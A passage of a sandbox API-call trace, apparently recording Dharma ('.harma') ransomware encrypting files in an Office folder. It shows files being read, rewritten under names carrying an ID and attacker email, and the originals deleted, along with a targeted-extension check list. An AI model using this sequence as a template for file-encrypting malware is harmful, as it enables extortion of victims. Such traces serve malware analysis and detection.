Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.542] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.542] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0160.551] GetLastError () returned 0x0 [0160.551] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x72, lpOverlapped=0x0) returned 1 [0160.552] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0160.552] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.552] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0160.553] SetEndOfFile (hFile=0x20c) returned 1 [0160.553] CloseHandle (hObject=0x20c) returned 1 [0160.553] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.553] SetEndOfFile (hFile=0x1b4) returned 1 [0160.556] CloseHandle (hObject=0x1b4) returned 1 [0160.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 1 [0160.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.557] lstrlenW (lpString=".doc") returned 4 [0160.557] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0160.557] lstrlenW (lpString=".docx") returned 5 [0160.557] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0160.557] lstrlenW (lpString=".pdf") returned 4 [0160.557] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0160.557] lstrlenW (lpString=".xls") returned 4 [0160.557] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0160.557] lstrlenW (lpString=".xlsx") returned 5 [0160.557] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0160.557] lstrlenW (lpString=".ppt") returned 4 [0160.557] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0160.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.557] lstrlenW (lpString=".zip") returned 4 [0160.557] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0160.557] lstrlenW (lpString=".rar") returned 4 [0160.557] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0160.557] lstrlenW (lpString=".bz2") returned 4 [0160.557] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0160.557] lstrlenW (lpString=".7z") returned 3 [0160.557] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0160.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.557] lstrlenW (lpString=".dbf") returned 4 [0160.557] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0160.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.557] lstrlenW (lpString=".1cd") returned 4 [0160.557] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0160.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.557] lstrlenW (lpString=".jpg") returned 4 [0160.558] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.558] lstrlenW (lpString=".doc") returned 4 [0160.558] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0160.558] lstrlenW (lpString=".docx") returned 5 [0160.558] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0160.558] lstrlenW (lpString=".pdf") returned 4 [0160.558] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0160.558] lstrlenW (lpString=".xls") returned 4 [0160.558] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0160.558] lstrlenW (lpString=".xlsx") returned 5 [0160.558] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0160.558] lstrlenW (lpString=".ppt") returned 4 [0160.558] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.558] lstrlenW (lpString=".zip") returned 4 [0160.558] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0160.558] lstrlenW (lpString=".rar") returned 4 [0160.558] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0160.558] lstrlenW (lpString=".bz2") returned 4 [0160.558] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0160.558] lstrlenW (lpString=".7z") returned 3 [0160.558] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.558] lstrlenW (lpString=".dbf") returned 4 [0160.558] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.558] lstrlenW (lpString=".1cd") returned 4 [0160.558] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0160.558] lstrlenW (lpString=".jpg") returned 4 [0160.559] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0160.559] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0160.559] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17 [0160.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.560] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0160.560] CloseHandle (hObject=0x1b4) returned 1 [0160.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 0x20 [0160.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.560] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.560] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0160.561] GetLastError () returned 0x0 [0160.561] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0160.562] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0160.563] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.563] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0160.563] SetEndOfFile (hFile=0x20c) returned 1 [0160.563] CloseHandle (hObject=0x20c) returned 1 [0160.563] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.563] SetEndOfFile (hFile=0x1b4) returned 1 [0160.565] CloseHandle (hObject=0x1b4) returned 1 [0160.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 1 [0160.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.566] lstrlenW (lpString=".doc") returned 4 [0160.566] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0160.566] lstrlenW (lpString=".docx") returned 5 [0160.567] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0160.567] lstrlenW (lpString=".pdf") returned 4 [0160.567] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0160.567] lstrlenW (lpString=".xls") returned 4 [0160.567] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0160.567] lstrlenW (lpString=".xlsx") returned 5 [0160.567] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0160.567] lstrlenW (lpString=".ppt") returned 4 [0160.567] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0160.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.567] lstrlenW (lpString=".zip") returned 4 [0160.567] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0160.567] lstrlenW (lpString=".rar") returned 4 [0160.567] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0160.567] lstrlenW (lpString=".bz2") returned 4 [0160.567] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0160.567] lstrlenW (lpString=".7z") returned 3 [0160.567] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0160.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.567] lstrlenW (lpString=".dbf") returned 4 [0160.567] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0160.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.567] lstrlenW (lpString=".1cd") returned 4 [0160.567] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0160.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.567] lstrlenW (lpString=".jpg") returned 4 [0160.567] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0160.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.567] lstrlenW (lpString=".doc") returned 4 [0160.567] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0160.568] lstrlenW (lpString=".docx") returned 5 [0160.568] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0160.568] lstrlenW (lpString=".pdf") returned 4 [0160.568] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0160.568] lstrlenW (lpString=".xls") returned 4 [0160.568] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0160.568] lstrlenW (lpString=".xlsx") returned 5 [0160.568] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0160.568] lstrlenW (lpString=".ppt") returned 4 [0160.568] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0160.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.568] lstrlenW (lpString=".zip") returned 4 [0160.568] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0160.568] lstrlenW (lpString=".rar") returned 4 [0160.568] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0160.568] lstrlenW (lpString=".bz2") returned 4 [0160.568] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0160.568] lstrlenW (lpString=".7z") returned 3 [0160.568] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0160.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.568] lstrlenW (lpString=".dbf") returned 4 [0160.568] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0160.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.568] lstrlenW (lpString=".1cd") returned 4 [0160.568] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0160.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0160.568] lstrlenW (lpString=".jpg") returned 4 [0160.568] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0160.568] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0160.569] lstrlenW (lpString="SGRES.DLL") returned 9 [0160.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.570] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=68984) returned 1 [0160.570] CloseHandle (hObject=0x1b4) returned 1 [0160.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll")) returned 0x20 [0160.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.570] lstrlenW (lpString=".doc") returned 4 [0160.570] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.570] lstrlenW (lpString=".docx") returned 5 [0160.570] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0160.570] lstrlenW (lpString=".pdf") returned 4 [0160.570] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.570] lstrlenW (lpString=".xls") returned 4 [0160.570] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.570] lstrlenW (lpString=".xlsx") returned 5 [0160.570] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0160.570] lstrlenW (lpString=".ppt") returned 4 [0160.570] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.571] lstrlenW (lpString=".zip") returned 4 [0160.571] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.571] lstrlenW (lpString=".rar") returned 4 [0160.571] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.571] lstrlenW (lpString=".bz2") returned 4 [0160.571] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.571] lstrlenW (lpString=".7z") returned 3 [0160.571] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.571] lstrlenW (lpString=".dbf") returned 4 [0160.571] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.571] lstrlenW (lpString=".1cd") returned 4 [0160.571] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.571] lstrlenW (lpString=".jpg") returned 4 [0160.571] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.572] lstrlenW (lpString=".doc") returned 4 [0160.572] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.572] lstrlenW (lpString=".docx") returned 5 [0160.572] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0160.572] lstrlenW (lpString=".pdf") returned 4 [0160.572] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.572] lstrlenW (lpString=".xls") returned 4 [0160.572] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.573] lstrlenW (lpString=".xlsx") returned 5 [0160.573] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0160.573] lstrlenW (lpString=".ppt") returned 4 [0160.573] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.573] lstrlenW (lpString=".zip") returned 4 [0160.573] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.573] lstrlenW (lpString=".rar") returned 4 [0160.573] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.573] lstrlenW (lpString=".bz2") returned 4 [0160.573] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.573] lstrlenW (lpString=".7z") returned 3 [0160.574] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.574] lstrlenW (lpString=".dbf") returned 4 [0160.574] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.574] lstrlenW (lpString=".1cd") returned 4 [0160.574] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0160.574] lstrlenW (lpString=".jpg") returned 4 [0160.574] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.574] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0160.574] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17 [0160.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.574] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=11648) returned 1 [0160.575] CloseHandle (hObject=0x1b4) returned 1 [0160.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 0x20 [0160.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.575] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.575] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0160.576] GetLastError () returned 0x0 [0160.576] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x2d80, lpOverlapped=0x0) returned 1 [0160.578] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0160.579] ReadFile (in: hFile=0x1b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.579] WriteFile (in: hFile=0x20c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0160.579] SetEndOfFile (hFile=0x20c) returned 1 [0160.579] CloseHandle (hObject=0x20c) returned 1 [0160.579] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.579] SetEndOfFile (hFile=0x1b4) returned 1 [0160.581] CloseHandle (hObject=0x1b4) returned 1 [0160.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 1 [0160.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0160.582] lstrlenW (lpString=".doc") returned 4 [0160.582] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.582] lstrlenW (lpString=".docx") returned 5 [0160.582] lstrcmpiW 